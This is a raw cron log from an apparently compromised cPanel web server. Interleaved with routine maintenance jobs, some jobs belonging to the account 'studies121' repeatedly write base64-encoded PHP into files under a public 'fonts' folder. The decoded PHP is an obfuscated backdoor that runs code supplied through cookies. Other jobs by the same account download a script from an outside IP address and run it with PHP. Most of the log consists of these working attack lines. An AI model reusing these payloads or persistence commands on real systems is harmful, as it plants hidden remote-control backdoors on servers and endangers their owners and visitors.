Sep  6 13:04:01 ip-184-168-122-23 CROND[10938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:04:01 ip-184-168-122-23 CROND[10939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:04:01 ip-184-168-122-23 CROND[10940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:04:01 ip-184-168-122-23 CROND[10941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:05:01 ip-184-168-122-23 CROND[11760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:05:01 ip-184-168-122-23 CROND[11763]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 13:05:01 ip-184-168-122-23 CROND[11764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:05:01 ip-184-168-122-23 CROND[11766]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:05:01 ip-184-168-122-23 CROND[11765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:05:01 ip-184-168-122-23 CROND[11767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:05:01 ip-184-168-122-23 CROND[11768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:06:01 ip-184-168-122-23 CROND[12568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:06:01 ip-184-168-122-23 CROND[12570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:06:01 ip-184-168-122-23 CROND[12573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:06:01 ip-184-168-122-23 CROND[12571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:06:01 ip-184-168-122-23 CROND[12572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:07:01 ip-184-168-122-23 CROND[13507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:07:01 ip-184-168-122-23 CROND[13505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:07:01 ip-184-168-122-23 CROND[13508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:07:02 ip-184-168-122-23 CROND[13506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:08:01 ip-184-168-122-23 CROND[14470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:08:01 ip-184-168-122-23 CROND[14473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:08:01 ip-184-168-122-23 CROND[14472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:08:01 ip-184-168-122-23 CROND[14475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:08:01 ip-184-168-122-23 CROND[14474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:09:01 ip-184-168-122-23 CROND[15274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:09:01 ip-184-168-122-23 CROND[15275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:09:01 ip-184-168-122-23 CROND[15276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:09:01 ip-184-168-122-23 CROND[15277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:09:01 ip-184-168-122-23 CROND[15278]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 13:10:01 ip-184-168-122-23 CROND[16274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:10:01 ip-184-168-122-23 CROND[16275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:10:01 ip-184-168-122-23 CROND[16277]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 13:10:01 ip-184-168-122-23 CROND[16278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:10:01 ip-184-168-122-23 CROND[16279]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:10:01 ip-184-168-122-23 CROND[16280]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:10:01 ip-184-168-122-23 CROND[16285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:10:01 ip-184-168-122-23 CROND[16286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:11:01 ip-184-168-122-23 CROND[17115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:11:01 ip-184-168-122-23 CROND[17117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:11:01 ip-184-168-122-23 CROND[17116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:11:01 ip-184-168-122-23 CROND[17118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:12:01 ip-184-168-122-23 CROND[17952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:12:01 ip-184-168-122-23 CROND[17953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:12:01 ip-184-168-122-23 CROND[17955]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:12:01 ip-184-168-122-23 CROND[17962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:12:02 ip-184-168-122-23 CROND[17963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:13:01 ip-184-168-122-23 CROND[18974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:13:01 ip-184-168-122-23 CROND[18975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:13:01 ip-184-168-122-23 CROND[18978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:13:01 ip-184-168-122-23 CROND[18977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:14:01 ip-184-168-122-23 CROND[20105]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:14:01 ip-184-168-122-23 CROND[20106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:14:01 ip-184-168-122-23 CROND[20108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:14:02 ip-184-168-122-23 CROND[20109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:14:02 ip-184-168-122-23 CROND[20111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:15:01 ip-184-168-122-23 CROND[20996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:15:01 ip-184-168-122-23 CROND[20997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:15:01 ip-184-168-122-23 CROND[20998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:15:01 ip-184-168-122-23 CROND[21000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:15:01 ip-184-168-122-23 CROND[21001]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:15:01 ip-184-168-122-23 CROND[21002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:16:01 ip-184-168-122-23 CROND[21431]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:16:01 ip-184-168-122-23 CROND[21433]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 13:16:01 ip-184-168-122-23 CROND[21437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
